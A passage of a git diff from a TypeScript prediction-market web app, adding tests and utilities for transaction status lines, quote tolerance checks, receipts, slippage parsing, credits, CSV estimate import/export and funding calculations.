expect(statusLine({ steps: stopped, leftOut: 0 })?.text).toBe("Credits can't be spent now. Try again shortly."); + }); + + it("says nothing while a step is running", () => { + expect(statusLine({ steps: steps({ progress: progress() }), leftOut: 0 })).toBeNull(); + }); + + it("puts what the visitor has to do ahead of why the run stopped", () => { + expect(statusLine({ steps: halted, notice: "Switch your wallet to Gnosis.", leftOut: 0 })).toEqual({ + text: "Switch your wallet to Gnosis.", + tone: "warning", + }); + }); + + it("puts what the visitor has to do ahead of a transaction still out", () => { + const pending = steps({ + progress: progress({ + stage: "halted", + failure: { reason: "rpc", retryable: true }, + pendingHash: `0x${"ab".repeat(32)}`, + }), + }); + + expect( + statusLine({ + steps: pending, + notice: "Connect a wallet to predict.", + leftOut: 0, + }), + ).toEqual({ text: "Connect a wallet to predict.", tone: "warning" }); + }); + + it("warns, rather than errs, about a transaction sent but not yet confirmed", () => { + const pending = steps({ + progress: progress({ + stage: "halted", + failure: { reason: "rpc", retryable: true }, + pendingHash: `0x${"ab".repeat(32)}`, + }), + }); + + expect(statusLine({ steps: pending, leftOut: 0 })?.tone).toBe("warning"); + }); + + it("crosses out no row for a send held because it may still land, and warns rather than errs", () => { + const held = steps({ + progress: progress({ + stage: "halted", + failure: { reason: "pending", retryable: true }, + unanswered: true, + steps: progress().steps.map((step) => (step.id === "deposit" ? { ...step, state: "error" as const } : step)), + }), + }); + + expect(held.rows.map((row) => row.view)).not.toContain("failed"); + expect(statusLine({ steps: held, leftOut: 0 })?.tone).toBe("warning"); + }); + + it("says nothing between steps of a run that is going normally", () => { + const between = steps({ + progress: progress({ + stage: "confirming", + steps: progress().steps.map((step) => ({ ...step, state: "success" as const })), + }), + }); + + expect(statusLine({ steps: between, leftOut: 0 })).toBeNull(); + }); + + it("says why a run stopped when nothing else is asked of the visitor", () => { + expect(statusLine({ steps: halted, leftOut: 0 })?.tone).toBe("error"); + }); +}); + +describe("predictSteps with credits moved to the trade wallet", () => { + const withCredits = [ + { id: "create-wallet", label: "Set up your trade wallet", state: "success" as const }, + { id: "add-credits", label: "Add credits to your trade wallet", state: "pending" as const }, + { id: "deposit", label: "Add money to your trade wallet", state: "pending" as const }, + { id: "predict-1", label: "Making your prediction", state: "pending" as const }, + ]; + + it("names the credits and the money the funds step adds", () => { + expect(steps({ credits: (3n * WAD) / 2n }).rows[1]).toEqual({ + key: "funds", + title: "Add funds", + subtitle: "1.5 credits + 4 sDAI", + view: "idle", + }); + }); + + it("names the credits alone when no money is added", () => { + expect(steps({ toAdd: 0n, credits: 2n * WAD }).rows[1]).toMatchObject({ subtitle: "2 credits", view: "idle" }); + }); + + it("runs the funds row while the credits move, and finishes it only once the money is in too", () => { + const moving = steps({ + credits: WAD, + progress: progress({ + stage: "signing", + steps: withCredits.map((step) => (step.id === "add-credits" ? { ...step, state: "running" as const } : step)), + }), + }); + expect(moving.rows[1]).toMatchObject({ view: "running", subtitle: "Confirm in your wallet" }); + + const halfway = steps({ + credits: WAD, + progress: progress({ + stage: "quoting", + steps: withCredits.map((step) => (step.id === "add-credits" ? { ...step, state: "success" as const } : step)), + }), + }); + expect(halfway.rows[1]!.view).not.toBe("done"); + }); + + it("marks the funds row failed when moving the credits stops the run", () => { + const stopped = steps({ + credits: WAD, + progress: progress({ + stage: "halted", + failure: { reason: "rejected", retryable: true }, + steps: withCredits.map((step) => (step.id === "add-credits" ? { ...step, state: "error" as const } : step)), + }), + }); + + expect(stopped.rows.map((row) => row.view)).toEqual(["done", "failed", "inactive"]); + }); + + it("says credits cannot be spent now when the manager cannot cover them", () => { + const stopped = steps({ + progress: progress({ stage: "halted", failure: { reason: "credits", retryable: false } }), + }); + + expect(stopped.failure).toBe("Credits can't be spent now. Untick them to use your own funds."); + }); + + it("freezes the credits a run moves along with the money it adds", () => { + const funding = planFunding({ + amount: 5n * WAD, + ownWallet: 10n * WAD, + tradeWallet: 0n, + credits: [{ kind: "foresight", tradeWallet: 0n, wallet: 2n * WAD, usable: 2n * WAD }], + }); + + expect( + fundsToAdd(funding, { id: "collateral", symbol: "sDAI", decimals: 18 }, { symbol: "sDAI", decimals: 18 }), + ).toEqual({ toAdd: 3n * WAD, credits: 2n * WAD, symbol: "sDAI", decimals: 18 }); + }); +}); diff --git a/apps/web/src/features/predict/utils/__tests__/quotesShort.test.ts b/apps/web/src/features/predict/utils/__tests__/quotesShort.test.ts new file mode 100644 index 00000000..0a81d531 --- /dev/null +++ b/apps/web/src/features/predict/utils/__tests__/quotesShort.test.ts @@ -0,0 +1,102 @@ +import { describe, expect, it } from "vitest"; + +import { quotesShort, shownLegs, type PreviewTrades, type QuotedLeg } from "../plan"; + +/** One percent, in hundredths of a percent. */ +const TOLERANCE_BPS = 100; + +/** The popup showed: sell 1000 UP for 400 underlying, then buy 2000 DOWN with 600 underlying. */ +const shown: PreviewTrades = { + split: 0n, + sells: [{ side: "up", amountIn: 1000n, toTarget: true, fee: 0n, underlyingOut: 400n }], + merge: 0n, + buys: [{ side: "down", amountIn: 600n, toTarget: true, fee: 0n, outcomeOut: 2000n }], + from: 0n, + to: 0n, + feeValue: 0n, +}; + +const sell = (amountOut: bigint): QuotedLeg => ({ side: "up", amountIn: 1000n, amountOut }); +const buy = (amountIn: bigint, amountOut: bigint): QuotedLeg => ({ side: "down", amountIn, amountOut }); + +describe("quotesShort", () => { + it("passes quotes that pay what was shown", () => { + expect(quotesShort(shownLegs(shown), { sells: [sell(400n)], buys: [buy(600n, 2000n)] }, TOLERANCE_BPS)).toBe(false); + }); + + it("passes a sell that pays 1% less than shown, the tolerance itself", () => { + expect(quotesShort(shownLegs(shown), { sells: [sell(396n)], buys: [buy(600n, 2000n)] }, TOLERANCE_BPS)).toBe(false); + }); + + it("stops a sell that pays more than 1% less underlying than shown", () => { + expect(quotesShort(shownLegs(shown), { sells: [sell(395n)], buys: [buy(600n, 2000n)] }, TOLERANCE_BPS)).toBe(true); + }); + + it("stops a buy that pays more than 1% fewer outcome tokens than shown", () => { + expect(quotesShort(shownLegs(shown), { sells: [sell(400n)], buys: [buy(600n, 1979n)] }, TOLERANCE_BPS)).toBe(true); + }); + + it("passes a buy that pays 1% fewer outcome tokens than shown, the tolerance itself", () => { + expect(quotesShort(shownLegs(shown), { sells: [sell(400n)], buys: [buy(600n, 1980n)] }, TOLERANCE_BPS)).toBe(false); + }); + + it("stops a buy that spends more than 1% less underlying than shown", () => { + expect(quotesShort(shownLegs(shown), { sells: [sell(400n)], buys: [buy(593n, 2000n)] }, TOLERANCE_BPS)).toBe(true); + }); + + it("passes a buy that spends 1% less underlying than shown, the tolerance itself", () => { + expect(quotesShort(shownLegs(shown), { sells: [sell(400n)], buys: [buy(594n, 2000n)] }, TOLERANCE_BPS)).toBe(false); + }); + + it("leaves a quoted leg the plan shown does not have to the other checks", () => { + const upBuy: QuotedLeg = { side: "up", amountIn: 1n, amountOut: 1n }; + const downSell: QuotedLeg = { side: "down", amountIn: 1n, amountOut: 1n }; + + expect( + quotesShort(shownLegs(shown), { sells: [sell(400n), downSell], buys: [buy(600n, 2000n), upBuy] }, TOLERANCE_BPS), + ).toBe(false); + }); + + it("stops when a buy the plan shown has dropped out of the quoted plan", () => { + expect(quotesShort(shownLegs(shown), { sells: [sell(400n)], buys: [] }, TOLERANCE_BPS)).toBe(true); + }); + + it("stops when a sell the plan shown has dropped out of the quoted plan", () => { + expect(quotesShort(shownLegs(shown), { sells: [], buys: [buy(600n, 2000n)] }, TOLERANCE_BPS)).toBe(true); + }); +}); + +describe("quote matching boundaries", () => { + it("matches sell quotes by side rather than response order", () => { + expect( + quotesShort( + shownLegs({ ...shown, buys: [] }), + { sells: [{ side: "down", amountIn: 1000n, amountOut: 999n }, sell(300n)], buys: [] }, + TOLERANCE_BPS, + ), + ).toBe(true); + }); + it("compares a zero-input shown leg without dividing by zero", () => { + expect( + quotesShort( + shownLegs({ ...shown, sells: [{ ...shown.sells[0]!, amountIn: 0n }], buys: [] }), + { sells: [sell(400n)], buys: [] }, + TOLERANCE_BPS, + ), + ).toBe(false); + }); + it("accepts a proportionally smaller sell without any buys", () => { + expect( + quotesShort( + shownLegs({ ...shown, buys: [] }), + { sells: [{ side: "up", amountIn: 500n, amountOut: 200n }], buys: [] }, + TOLERANCE_BPS, + ), + ).toBe(false); + }); + it("accepts a fully paid buy without any sells", () => { + expect( + quotesShort(shownLegs({ ...shown, sells: [] }), { sells: [], buys: [buy(600n, 2000n)] }, TOLERANCE_BPS), + ).toBe(false); + }); +}); diff --git a/apps/web/src/features/predict/utils/__tests__/receipt.test.ts b/apps/web/src/features/predict/utils/__tests__/receipt.test.ts new file mode 100644 index 00000000..7693dd28 --- /dev/null +++ b/apps/web/src/features/predict/utils/__tests__/receipt.test.ts @@ -0,0 +1,142 @@ +import type { Hash } from "viem"; +import { describe, expect, it } from "vitest"; + +import { STEP_ID } from "../../flow/stepIds"; +import { receiptRows } from "../receipt"; + +const WALLET = "0xdcee0000000000000000000000000000000c664f" as const; +const WAD = 10n ** 18n; +const hash = (n: number) => `0x${n.toString(16).padStart(64, "0")}` as Hash; +const txUrl = (tx: Hash) => `https://gnosisscan.io/tx/${tx}`; +const SDAI = { symbol: "sDAI", decimals: 18 }; + +describe("receiptRows", () => { + it("says each step of a first run in past tense with its figure and its own transaction", () => { + const rows = receiptRows({ + steps: [ + { id: STEP_ID.createExecutor, hash: hash(1) }, + { id: STEP_ID.deposit, hash: hash(2) }, + { id: STEP_ID.predict(1), hash: hash(3) }, + ], + funds: { toAdd: 10n * WAD, ...SDAI }, + wallet: WALLET, + txUrl, + }); + + expect(rows).toEqual([ + { + id: STEP_ID.createExecutor, + title: "Trade wallet created", + detail: "0xdcee...664f", + links: [{ href: txUrl(hash(1)), hash: hash(1), label: "Trade wallet transaction" }], + }, + { + id: STEP_ID.deposit, + title: "Funds added", + detail: "10 sDAI", + links: [{ href: txUrl(hash(2)), hash: hash(2), label: "Funds transaction" }], + }, + { + id: "predict", + title: "Prediction placed", + links: [{ href: txUrl(hash(3)), hash: hash(3), label: "Prediction transaction" }], + }, + ]); + }); + + it("leaves out the wallet row where the wallet already existed", () => { + const rows = receiptRows({ + steps: [{ id: STEP_ID.createExecutor }, { id: STEP_ID.deposit, hash: hash(2) }, { id: STEP_ID.predict(1) }], + funds: { toAdd: 10n * WAD, ...SDAI }, + wallet: WALLET, + txUrl, + }); + + expect(rows.map((row) => row.title)).toEqual(["Funds added", "Prediction placed"]); + }); + + it("keeps a funds step that landed without a hash, unlinked", () => { + const rows = receiptRows({ + steps: [{ id: STEP_ID.deposit }, { id: STEP_ID.predict(1), hash: hash(3) }], + funds: { toAdd: 4n * WAD, symbol: "xDAI", decimals: 18 }, + txUrl, + }); + + expect(rows[0]).toEqual({ id: STEP_ID.deposit, title: "Funds added", detail: "4 xDAI", links: [] }); + }); + + it("gives the credits moved from the wallet a row and a link of their own, before the funds", () => { + const rows = receiptRows({ + steps: [ + { id: STEP_ID.createExecutor }, + { id: STEP_ID.addCredits, hash: hash(6) }, + { id: STEP_ID.deposit, hash: hash(2) }, + { id: STEP_ID.predict(1), hash: hash(3) }, + ], + funds: { toAdd: 8n * WAD, ...SDAI, credits: 2n * WAD }, + txUrl, + }); + + expect(rows.slice(0, 2)).toEqual([ + { + id: STEP_ID.addCredits, + title: "Credits added", + detail: "2 credits", + links: [{ href: txUrl(hash(6)), hash: hash(6), label: "Credits transaction" }], + }, + { + id: STEP_ID.deposit, + title: "Funds added", + detail: "8 sDAI", + links: [{ href: txUrl(hash(2)), hash: hash(2), label: "Funds transaction" }], + }, + ]); + }); + + it("numbers the batches as links on the one prediction row, skipping one that has no hash", () => { + const rows = receiptRows({ + steps: [ + { id: STEP_ID.predict(1) }, + { id: STEP_ID.predict(2), hash: hash(4) }, + { id: STEP_ID.predict(3), hash: hash(5) }, + ], + txUrl, + }); + + expect(rows).toEqual([ + { + id: "predict", + title: "Prediction placed", + links: [ + { href: txUrl(hash(4)), hash: hash(4), label: "Prediction transaction 2 of 3", text: "2" }, + { href: txUrl(hash(5)), hash: hash(5), label: "Prediction transaction 3 of 3", text: "3" }, + ], + }, + ]); + }); + + it("links nothing on a chain with no explorer", () => { + const rows = receiptRows({ + steps: [ + { id: STEP_ID.createExecutor, hash: hash(1) }, + { id: STEP_ID.deposit, hash: hash(2) }, + { id: STEP_ID.predict(1), hash: hash(3) }, + ], + funds: { toAdd: 10n * WAD, ...SDAI }, + txUrl: () => undefined, + }); + + expect(rows.map((row) => row.title)).toEqual(["Trade wallet created", "Funds added", "Prediction placed"]); + expect(rows.flatMap((row) => row.links)).toEqual([]); + }); + + it("says no figure for funds where nothing was added", () => { + const rows = receiptRows({ + steps: [{ id: STEP_ID.deposit, hash: hash(2) }], + funds: { toAdd: 0n, ...SDAI }, + txUrl, + }); + + expect(rows[0]).not.toHaveProperty("detail"); + }); +}); diff --git a/apps/web/src/features/predict/utils/__tests__/slippage.test.ts b/apps/web/src/features/predict/utils/__tests__/slippage.test.ts new file mode 100644 index 00000000..2ad7074a --- /dev/null +++ b/apps/web/src/features/predict/utils/__tests__/slippage.test.ts @@ -0,0 +1,95 @@ +import { describe, expect, it } from "vitest"; + +import { DEFAULT_SLIPPAGE, HIGH_SLIPPAGE_BPS, LOW_SLIPPAGE_BPS, MAX_SLIPPAGE_BPS } from "../../oracle/tolerances"; +import { + isHighSlippage, + isLowSlippage, + normalizeSlippageSettings, + parseSlippagePercent, + resolveSlippage, + slippagePercent, +} from "../slippage"; + +describe("parseSlippagePercent", () => { + it.each([ + ["1", 100], + ["0.5", 50], + ["0,25", 25], + [".3", 30], + ["2.", 200], + [" 1.25 % ", 125], + ["0.01", 1], + ])("reads %j as %i basis points", (text, bps) => { + expect(parseSlippagePercent(text)).toBe(bps); + }); + + it("reads empty text as Auto", () => { + expect(parseSlippagePercent(" ")).toBeNull(); + }); + + it.each(["abc", "1.234", "-1", "1e2", "1.2.3", "0", "0.00", ".0"])("refuses %j", (text) => { + expect(parseSlippagePercent(text)).toBe("invalid"); + }); + + it("takes the cap and refuses a hundredth over it", () => { + expect(parseSlippagePercent(String(MAX_SLIPPAGE_BPS / 100))).toBe(MAX_SLIPPAGE_BPS); + expect(parseSlippagePercent(String((MAX_SLIPPAGE_BPS + 1) / 100))).toBe("invalid"); + }); +}); + +describe("slippagePercent", () => { + it.each([ + [100, "1"], + [20, "0.2"], + [125, "1.25"], + [0, "0"], + ])("writes %i basis points as %s", (bps, text) => { + expect(slippagePercent(bps)).toBe(text); + }); +}); + +describe("resolveSlippage", () => { + it("uses the default for a kind left on Auto and the visitor's value for the other", () => { + expect(resolveSlippage({ tradeBps: 300, creditsBps: null })).toEqual({ + tradeBps: 300, + creditsBps: DEFAULT_SLIPPAGE.creditsBps, + }); + }); +}); + +describe("normalizeSlippageSettings", () => { + it("keeps whole basis points in range", () => { + expect(normalizeSlippageSettings({ tradeBps: 250, creditsBps: 1 })).toEqual({ tradeBps: 250, creditsBps: 1 }); + }); + + it.each([ + ["a fraction", 1.5], + ["a value over the cap", MAX_SLIPPAGE_BPS + 1], + ["a negative value", -1], + ["zero, which no swap can fill at", 0], + ["a string", "100"], + ])("reads %s as Auto", (_label, value) => { + expect(normalizeSlippageSettings({ tradeBps: value, creditsBps: 50 })).toEqual({ tradeBps: null, creditsBps: 50 }); + }); + + it("reads junk as Auto for both", () => { + expect(normalizeSlippageSettings("junk")).toEqual({ tradeBps: null, creditsBps: null }); + }); +}); + +describe("isHighSlippage", () => { + it("warns only above each kind's threshold", () => { + expect(isHighSlippage("tradeBps", HIGH_SLIPPAGE_BPS.tradeBps)).toBe(false); + expect(isHighSlippage("tradeBps", HIGH_SLIPPAGE_BPS.tradeBps + 1)).toBe(true); + expect(isHighSlippage("creditsBps", HIGH_SLIPPAGE_BPS.creditsBps + 1)).toBe(true); + }); +}); + +describe("isLowSlippage", () => { + it("warns only below each kind's threshold", () => { + expect(isLowSlippage("tradeBps", LOW_SLIPPAGE_BPS.tradeBps)).toBe(false); + expect(isLowSlippage("tradeBps", LOW_SLIPPAGE_BPS.tradeBps - 1)).toBe(true); + expect(isLowSlippage("creditsBps", LOW_SLIPPAGE_BPS.creditsBps)).toBe(false); + expect(isLowSlippage("creditsBps", LOW_SLIPPAGE_BPS.creditsBps - 1)).toBe(true); + }); +}); diff --git a/apps/web/src/features/predict/utils/credits.ts b/apps/web/src/features/predict/utils/credits.ts new file mode 100644 index 00000000..fad2fbaf --- /dev/null +++ b/apps/web/src/features/predict/utils/credits.ts @@ -0,0 +1,41 @@ +import type { CreditsHeld } from "@/lib/trade-executor/credits"; + +/** Credits at or below 0.01 are not offered; 18 decimals. */ +export const MIN_CREDITS = 10n ** 16n; + +/** + * What the popup offers: nothing at or below `MIN_CREDITS`; otherwise everything held when the + * manager covers it, the part it covers when that is less, or none when that is not worth offering. + */ +export type CreditsOffer = + | { state: "none" } + | { state: "usable" | "short"; held: bigint; usable: bigint } + | { state: "empty"; held: bigint; usable: 0n }; + +export function creditsOffer(credits: CreditsHeld | null): CreditsOffer { + if (!credits) return { state: "none" }; + const held = credits.wallet + credits.tradeWallet; + if (held <= MIN_CREDITS) return { state: "none" }; + if (credits.manager <= MIN_CREDITS) return { state: "empty", held, usable: 0n }; + if (credits.manager >= held) return { state: "usable", held, usable: held }; + return { state: "short", held, usable: credits.manager }; +} + +/** + * A balance of credits that stands in for collateral one for one. `kind` names the issuer, so a + * session's own credits can join the platform's as another line. + */ +export interface CreditLine { + kind: "foresight"; + tradeWallet: bigint; + /** The manager spends from its caller, the trade wallet, so these move there before a spend. */ + wallet: bigint; + /** What the line's manager covers now, of both. */ + usable: bigint; +} + +/** The line for an offer, or none when it has nothing usable. */ +export function creditLines(credits: CreditsHeld | null, offer: CreditsOffer): CreditLine[] { + if (!credits || offer.state === "none" || offer.usable === 0n) return []; + return [{ kind: "foresight", tradeWallet: credits.tradeWallet, wallet: credits.wallet, usable: offer.usable }]; +} diff --git a/apps/web/src/features/predict/utils/estimateCsv.ts b/apps/web/src/features/predict/utils/estimateCsv.ts new file mode 100644 index 00000000..180de8c4 --- /dev/null +++ b/apps/web/src/features/predict/utils/estimateCsv.ts @@ -0,0 +1,124 @@ +import type { OptionScale } from "@/types/optionScale"; + +import { estimateStep, snapEstimate } from "./estimates"; + +export const CSV_COLUMNS = ["name", "estimate"] as const; + +/** RFC 4180 rows: quoted fields may hold commas, newlines and doubled quotes. */ +function parseCsvRows(text: string): string[][] { + const rows: string[][] = []; + let row: string[] = []; + let field = ""; + let quoted = false; + + for (let i = 0; i < text.length; i++) { + const char = text[i]!; + if (quoted) { + if (char === '"') { + if (text[i + 1] === '"') { + field += '"'; + i++; + } else { + quoted = false; + } + } else { + field += char; + } + continue; + } + + if (char === '"') quoted = true; + else if (char === ",") { + row.push(field); + field = ""; + } else if (char === "\n" || char === "\r") { + if (char === "\r" && text[i + 1] === "\n") i++; + row.push(field); + rows.push(row); + row = []; + field = ""; + } else field += char; + } + if (field !== "" || row.length > 0) { + row.push(field); + rows.push(row); + } + + return rows.filter((cells) => cells.some((cell) => cell.trim() !== "")); +} + +/** Spreadsheets run a cell starting with one of these as a formula; a leading apostrophe makes it text. */ +const FORMULA_START = /^[=+\-@\t\r]/; + +const quote = (cell: string) => (/[",\r\n]/.test(cell) ? `"${cell.replaceAll('"', '""')}"` : cell); +// a name that already starts with an apostrophe gets one more, so the one the upload strips is always this one +const asText = (cell: string) => quote(FORMULA_START.test(cell) || cell.startsWith("'") ? `'${cell}` : cell); + +/** Excel reads a CSV without a byte-order mark as the system's ANSI code page; `trim()` drops it on upload. */ +const UTF8_BOM = "\uFEFF"; + +/** A null estimate is written as an empty cell, which the upload leaves alone. */ +export function serializeEstimateCsv(rows: { name: string; estimate: number | null }[]): string { + return ( + UTF8_BOM + [CSV_COLUMNS.join(","), ...rows.map((row) => `${asText(row.name)},${row.estimate ?? ""}`)].join("\n") + ); +} + +interface ParsedEstimate { + scale: OptionScale; + /** Null for a row whose estimate cell is empty, which leaves that option's estimate as it is. */ + value: number | null; +} + +/** + * Rows are matched to options by name, and every row must land on an option, inside its scale + * and on its grid. Throws with the offending row rather than rounding or dropping anything quietly. + */ +export function parseEstimateCsv(text: string, scales: OptionScale[]): ParsedEstimate[] { + const [header, ...rows] = parseCsvRows(text); + const columns = header?.map((cell) => cell.trim().toLowerCase()) ?? []; + const nameAt = columns.indexOf(CSV_COLUMNS[0]); + const estimateAt = columns.indexOf(CSV_COLUMNS[1]); + if (columns.length !== 2 || nameAt === -1 || estimateAt === -1) { + throw new Error(`The first row must be: ${CSV_COLUMNS.join(",")}`); + } + if (rows.length === 0) throw new Error("No rows under the header."); + + const byName = new Map(scales.map((scale) => [scale.name.trim().toLowerCase(), scale])); + const parsed = new Map(); + + rows.forEach((cells, index) => { + const line = index + 2; + // a row cut short, or a quote left open to the end of the file, has fewer cells than the header + if (cells.length !== columns.length) { + throw new Error( + `Row ${line} has ${cells.length} ${cells.length === 1 ? "cell" : "cells"}; it needs ${columns.length}.`, + ); + } + const name = (cells[nameAt] ?? "").trim(); + const raw = (cells[estimateAt] ?? "").trim(); + if (!name) throw new Error(`Row ${line}: the name is missing.`); + + const key = name.toLowerCase(); + // the download puts one apostrophe before a name that would run as a formula or starts with one + const scale = (key.startsWith("'") ? byName.get(key.slice(1).trim()) : undefined) ?? byName.get(key); + if (!scale) throw new Error(`Row ${line}: there is no option named "${name}".`); + if (!raw) { + parsed.set(scale.market.toLowerCase(), { scale, value: null }); + return; + } + + const value = Number(raw); + if (!Number.isFinite(value)) throw new Error(`Row ${line}: "${raw}" is not a number.`); + if (value < scale.lowerBound || value > scale.upperBound) { + throw new Error(`Row ${line}: ${scale.name} takes ${scale.lowerBound} to ${scale.upperBound}, not ${raw}.`); + } + if (snapEstimate(value, scale) !== value) { + throw new Error(`Row ${line}: ${scale.name} moves in steps of ${estimateStep(scale)}, so ${raw} is not allowed.`); + } + + parsed.set(scale.market.toLowerCase(), { scale, value }); + }); + + return [...parsed.values()]; +} diff --git a/apps/web/src/features/predict/utils/estimates.ts b/apps/web/src/features/predict/utils/estimates.ts new file mode 100644 index 00000000..795b82d7 --- /dev/null +++ b/apps/web/src/features/predict/utils/estimates.ts @@ -0,0 +1,82 @@ +import type { OptionScale } from "@/types/optionScale"; + +import type { SelectedEstimate } from "../types"; + +/** + * The resolution every estimate on the page is held at: a power of ten two orders below the + * scale's width, so a 0-500 scale moves in 1s, 0-10 in 0.1s, 0-1 in 0.01s (100 to 999 steps). + */ +export function estimateStep(scale: Pick): number { + const range = scale.upperBound - scale.lowerBound; + return range > 0 ? 10 ** (Math.floor(Math.log10(range)) - 2) : 0; +} + +/** Fraction digits that show every grid point; a coarser field would round a saved value on blur. */ +export function estimateDigits(scale: Pick): number { + const step = estimateStep(scale); + return step > 0 ? Math.max(0, Math.ceil(-Math.log10(step))) : 0; +} + +/** + * Puts a value on the option's grid, at or inside its bounds. Applied to the market's number as + * well as the visitor's, so "at the market" means the same thing however the value arrived. + */ +export function snapEstimate(value: number, scale: Pick): number { + const step = estimateStep(scale); + if (step <= 0) return scale.lowerBound; + + // a division leaves binary debris (0.35 / 0.1 = 3.4999999999999996), and so does the multiply back + const steps = (span: number) => Number((span / step).toPrecision(12)); + const last = Math.floor(steps(scale.upperBound - scale.lowerBound)); + const index = Math.min(last, Math.max(0, Math.round(steps(value - scale.lowerBound)))); + return Number((scale.lowerBound + index * step).toPrecision(12)); +} + +export function estimateDirection(value: number, marketEstimate: number): SelectedEstimate["direction"] | null { + if (value > marketEstimate) return "higher"; + if (value < marketEstimate) return "lower"; + return null; +} + +/** + * The estimates that would become predictions: set on an option that is trading, and away + * from where the market already sits. Order follows `scales`. + */ +export function selectedEstimates( + scales: OptionScale[], + estimates: Record, + marketEstimates: Record, +): SelectedEstimate[] { + const selected: SelectedEstimate[] = []; + for (const scale of scales) { + const key = scale.market.toLowerCase(); + const value = estimates[key]; + const marketEstimate = marketEstimates[key]; + if (value === undefined || marketEstimate === undefined) continue; + + const direction = estimateDirection(value, marketEstimate); + if (direction === null) continue; + + selected.push({ scale, value, marketEstimate, direction }); + } + + return selected; +} + +const GROUPED = /^-?[1-9]\d{0,2}(,\d{3})+(\.\d*)?$/; +// three digits after the comma would be a group, which only "0," or no whole part can rule out +const DECIMAL_COMMA = /^-?(\d*,(\d{1,2}|\d{4,})|0?,\d{3})$/; +const SPACE_GROUPED = /^-?\d{1,3}(\s\d{3})+([.,]\d+)?$/; +const PLAIN = /^-?(\d+\.?\d*|\.\d+)$/; + +/** + * A typed estimate, unit, a leading plus and spaces between groups of three allowed; NaN for anything but + * a decimal number. Commas before each group of three digits group thousands; any other single comma is the decimal point. + */ +export function readTypedEstimate(text: string, unit: string | null): number { + const trimmed = (unit ? text.split(unit).join("") : text).trim().replace(/^\+(?=[\d.,])/, ""); + if (/\s/.test(trimmed) && !SPACE_GROUPED.test(trimmed)) return Number.NaN; + const bare = trimmed.replace(/\s/g, ""); + const dotted = GROUPED.test(bare) ? bare.replace(/,/g, "") : DECIMAL_COMMA.test(bare) ? bare.replace(",", ".") : bare; + return PLAIN.test(dotted) ? Number(dotted) : Number.NaN; +} diff --git a/apps/web/src/features/predict/utils/funding.ts b/apps/web/src/features/predict/utils/funding.ts new file mode 100644 index 00000000..1aae5cfa --- /dev/null +++ b/apps/web/src/features/predict/utils/funding.ts @@ -0,0 +1,222 @@ +import { cutToOwned, formatAmount, formatDisplayAmount, OWNED_DECIMALS } from "@/utils/amount"; + +import type { CreditLine } from "./credits"; +import type { PredictRequest, PredictSnapshot } from "../flow/types"; +import { GAS_RESERVE_WEI } from "../oracle/tolerances"; +import type { PayToken } from "../types"; + +const WAD = 10n ** 18n; + +/** Where the money for one prediction comes from, worked out as futarchy's popup does. */ +export interface Funding { + /** + * What the visitor can put in, in the token they chose: their wallet less any gas reserve, the + * trade wallet, and the credits the lines can spend. + */ + available: bigint; + /** The credits part of `available`, in the token they chose. */ + creditsAvailable: bigint; + /** Collateral the prediction splits, credits included. */ + collateralIn: bigint; + /** Credits the prediction spends, one per collateral unit, line by line. */ + credits: CreditUse[]; + /** The sum of `credits`. */ + creditsIn: bigint; + /** Collateral in the trade wallet before anything is added. */ + tradeWallet: bigint; + /** The part of it the prediction uses. */ + fromTradeWallet: bigint; + /** Collateral that has to come from the visitor's own wallet. */ + toAdd: bigint; + /** What the deposit sends, in the token they chose. */ + deposit: bigint; +} + +export interface CreditUse { + kind: CreditLine["kind"]; + fromTradeWallet: bigint; + fromWallet: bigint; +} + +export interface FundingArgs { + /** In the token the visitor chose. */ + amount: bigint; + /** The visitor's own wallet, in the token they chose. */ + ownWallet: bigint; + /** Collateral already in the trade wallet. */ + tradeWallet: bigint; + /** + * Units of the chosen token one collateral unit is worth, as a wad. Absent when the chosen + * token is the collateral itself; present means native xDAI, which keeps `GAS_RESERVE_WEI` back. + */ + tokenPerCollateralWad?: bigint; + /** Spent before any collateral, in order, each from the trade wallet before the visitor's wallet. */ + credits?: CreditLine[]; +} + +export function planFunding({ + amount, + ownWallet, + tradeWallet, + tokenPerCollateralWad, + credits = [], +}: FundingArgs): Funding { + const rate = tokenPerCollateralWad ?? WAD; + const toToken = (collateral: bigint) => (collateral * rate) / WAD; + const toCollateral = (token: bigint) => (rate > 0n ? (token * WAD) / rate : 0n); + const reserve = tokenPerCollateralWad === undefined ? 0n : GAS_RESERVE_WEI; + const spendable = ownWallet > reserve ? ownWallet - reserve : 0n; + + let collateralIn = toCollateral(amount); + let left = collateralIn; + // each part in whole shown decimals, so what is signed and burned is what the popup shows + const uses = credits.map((line): CreditUse => { + const use = creditUse(line, min(left, line.usable)); + left -= use.fromTradeWallet + use.fromWallet; + return use; + }); + // what the cut leaves below a shown decimal is not worth a deposit of its own + if (left < CREDIT_STEP && uses.some((use) => use.fromTradeWallet + use.fromWallet > 0n)) { + collateralIn -= left; + left = 0n; + } + const toAdd = left > tradeWallet ? left - tradeWallet : 0n; + // rounded up, so what lands covers the shortfall + const depositNeeded = rate === WAD ? toAdd : (toAdd * rate + WAD - 1n) / WAD; + // the cut applied to each line whole, so no amount it accepts asks for credits the cut drops + const creditsAvailable = toToken( + credits + .map((line) => creditUse(line, line.usable)) + .reduce((sum, use) => sum + use.fromTradeWallet + use.fromWallet, 0n), + ); + + return { + available: spendable + toToken(tradeWallet) + creditsAvailable, + creditsAvailable, + collateralIn, + credits: uses, + creditsIn: collateralIn - left, + tradeWallet, + fromTradeWallet: left - toAdd, + toAdd, + deposit: depositNeeded > spendable ? spendable : depositNeeded, + }; +} + +const min = (a: bigint, b: bigint) => (a < b ? a : b); + +/** Up to `usable` of the line's credits, trade wallet first, each source cut to the shown decimals. */ +function creditUse(line: CreditLine, usable: bigint): CreditUse { + const fromTradeWallet = cutToOwned(min(usable, line.tradeWallet), CREDIT_DECIMALS); + const fromWallet = cutToOwned(min(usable - fromTradeWallet, line.wallet), CREDIT_DECIMALS); + return { kind: line.kind, fromTradeWallet, fromWallet }; +} + +const CREDIT_DECIMALS = 18; + +/** One unit of the last decimal the popup shows a credit amount to. */ +const CREDIT_STEP = 10n ** BigInt(CREDIT_DECIMALS - OWNED_DECIMALS); + +/** What a run is asked to sign for `funding`: the sDAI split apart from the credits, and the credits by source. */ +export function fundingRequest( + funding: Funding, + native: boolean, +): Pick< + PredictRequest, + "deposit" | "depositNative" | "collateralIn" | "collateralBefore" | "creditsFromEoa" | "creditsToSpend" +> { + return { + deposit: funding.deposit, + depositNative: native, + collateralIn: funding.collateralIn - funding.creditsIn, + collateralBefore: funding.tradeWallet, + creditsFromEoa: funding.credits.reduce((sum, use) => sum + use.fromWallet, 0n), + creditsToSpend: funding.creditsIn, + }; +} + +/** + * The collateral 